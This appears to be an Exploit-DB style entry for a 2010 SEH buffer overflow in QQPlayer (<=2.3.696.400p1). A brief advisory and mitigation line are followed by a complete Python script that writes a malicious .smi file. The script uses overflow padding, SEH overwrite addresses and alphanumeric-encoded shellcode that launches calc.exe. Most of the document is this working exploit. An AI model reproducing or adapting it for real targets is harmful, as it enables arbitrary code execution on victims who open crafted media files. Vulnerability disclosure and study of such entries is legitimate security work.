QQPlayer smi File Buffer Overflow Exploit

vendor:

QQPlayer

by:

Lufeng Li

7,8

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: QQPlayer

Affected Version From: QQPlayer <=2.3.696.400p1

Affected Version To: QQPlayer <=2.3.696.400p1

Patch Exists: YES

Related CWE: N/A

CPE: a:tencent:qqplayer

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XPSP3 Chinese Simplified

2010

QQPlayer smi File Buffer Overflow Exploit

A buffer overflow vulnerability exists in QQPlayer versions <=2.3.696.400p1 when processing a specially crafted .smi file. An attacker can exploit this vulnerability to execute arbitrary code in the context of the application.

Mitigation:

Upgrade to the latest version of QQPlayer

Source

Exploit-DB raw data:

#!/usr/bin/env python

#################################################################
#
# Title: QQPlayer smi File Buffer Overflow Exploit
# Author: Lufeng Li of Neusoft Corporation
# Vendor: www.qq.com
# Platform: Windows XPSP3 Chinese Simplified
# Tested: QQPlayer 2.3.696.400p1
# Vulnerable: QQPlayer<=2.3.696.400p1
# Exploit-DB Notes: A different SEH addr might be necessary for XP SP3 ENG.
#            Make sure EAX aligns to the shellcode before decoding.
# Payload=calc.exe
#
#################################################################
# Code :

head ='''<smil>
 <head>
  <meta name="title" content="_"/>
  <meta name="author" content="Warner Music Group'''

junk = "A" * 2001
nseh ="\x42\x61\x21\x61"
seh  ="\x39\x0c\x41\x00"
adjust="\x30\x83\xc0\x0b"
shellcode=("PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIKLM8LI5PUPUPSPMYZEV"
           "QN2BDLKPRVPLKQB4LLK0RR4LKSBWX4ONW1ZWVFQKO6QO0NLWL3QSLS26L7PIQ8ODM5QIWKRZPPRQGL"
           "KQB4PLKPB7L5QXPLKQP2XK5IP44QZ5QXPPPLKQX4XLKQHGPUQN3KSGLQYLKP4LKUQ9FFQKOVQO0NL9"
           "QXODM5QYWFXKPD5JT4C3MZXWK3MWTT5KRPXLKQHWTEQ8SCVLKTLPKLKQH5LEQN3LKS4LKC1XPMY1TW"
           "TGT1KQKSQ0YPZ0QKOKP0XQOQJLKTRJKMVQMCZUQLMLEOIUPUPC0PPRHP1LKROLGKON5OKZPNUORF6R"
           "HOVLUOMMMKOIE7LC6SLUZMPKKM0BU5UOKQWB32R2ORJ5PPSKOHUE3512LSS6N3U2X3UUPDJA")
junk_="R"*8000
foot ='''"/>
 </head>
 <body>
   <seq>
    <video src="rtsp://sos08-1-rm.eams.net/lis/424444/.uid.M0001" title="_"fill="freeze"/>
  </seq>
 </body>
</smil>
<!-- Generated by Akamai Stream OS BOSS (v10.0.14-20100129) / d366992c -->'''
payload=head+junk+nseh+seh+adjust+shellcode+junk_+foot

fobj = open("poc.smi","w")
fobj.write(payload)
fobj.close()